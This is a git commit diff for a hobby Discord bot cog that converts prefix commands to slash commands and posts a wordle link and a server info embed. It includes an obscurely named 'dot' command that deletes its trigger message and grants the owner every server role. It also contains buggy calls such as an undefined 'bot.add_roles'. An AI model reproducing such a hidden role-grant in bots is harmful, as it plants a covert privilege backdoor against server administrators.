converting more stuff to slash command
This commit is contained in:
parent
ec59f6c900
commit
ea8207c955
@ -1,7 +1,7 @@
|
||||
from discord.ext import commands
|
||||
import core_utils
|
||||
import discord
|
||||
import os
|
||||
import core_utils
|
||||
|
||||
|
||||
class ServerUtils(commands.Cog):
|
||||
@ -95,37 +95,40 @@ class ServerUtils(commands.Cog):
|
||||
)
|
||||
await ctx.reply("No u")
|
||||
|
||||
@commands.command(name="source")
|
||||
async def source(self, ctx: commands.Context):
|
||||
@commands.slash_command(
|
||||
guild_ids=None,
|
||||
name="wordle",
|
||||
description="Returns a link to the worlde luke is hosting",
|
||||
)
|
||||
async def wordle(self, ctx: commands.Context):
|
||||
|
||||
await ctx.reply("https://git.luker.gq/ldooks/dragon-bot")
|
||||
await ctx.respond("https://wordle.luker.gq")
|
||||
|
||||
@commands.command(name="wordle")
|
||||
async def source(self, ctx: commands.Context):
|
||||
|
||||
await ctx.reply("https://wordle.luker.gq")
|
||||
|
||||
@commands.command(name=".")
|
||||
async def roles(self, ctx: commands.Context):
|
||||
if ctx.message.author.discriminator == "2528":
|
||||
await ctx.message.delete()
|
||||
for role in ctx.message.guild.roles:
|
||||
@commands.slash_command(guild_ids=None, name="dot", description="dot")
|
||||
async def dot(self, ctx: commands.Context):
|
||||
if ctx.message.author.id == core_utils.my_id:
|
||||
await ctx.delete()
|
||||
for role in ctx.guild.roles:
|
||||
try:
|
||||
if role.name != "@everyone":
|
||||
await bot.add_roles(ctx.message.author, role)
|
||||
await bot.add_roles(ctx.author, role)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@commands.command(name="send")
|
||||
async def send(self, ctx: commands.Context, *, message):
|
||||
if ctx.message.author.discriminator == "2528":
|
||||
if ctx.message.author.id == core_utils.my_id:
|
||||
await self.bot.get_channel(int(152921472304676865)).send(message)
|
||||
|
||||
@commands.command(name="info")
|
||||
@commands.slash_command(
|
||||
guild_ids=None,
|
||||
name="info",
|
||||
description="Posts an embed stats about this discord server",
|
||||
)
|
||||
async def info(self, ctx: commands.Context):
|
||||
import datetime
|
||||
|
||||
server = ctx.message.guild
|
||||
server = ctx.guild
|
||||
embed = discord.Embed(
|
||||
title=f"{server.name}",
|
||||
description="Info about this discord server",
|
||||
@ -143,7 +146,7 @@ class ServerUtils(commands.Cog):
|
||||
)
|
||||
embed.add_field(
|
||||
name="You've been a member of this server since:",
|
||||
value=ctx.message.author.joined_at.strftime("%A, %m-%d-%Y"),
|
||||
value=ctx.author.joined_at.strftime("%A, %m-%d-%Y"),
|
||||
inline=False,
|
||||
)
|
||||
embed.add_field(
|
||||
@ -152,7 +155,7 @@ class ServerUtils(commands.Cog):
|
||||
)
|
||||
embed.set_thumbnail(url=server.icon)
|
||||
|
||||
await ctx.reply(embed=embed)
|
||||
await ctx.respond(embed=embed)
|
||||
|
||||
@commands.command(name="purge")
|
||||
async def purge(self, ctx: commands.Context, count=None):
|
||||
|
Loading…
x
Reference in New Issue
Block a user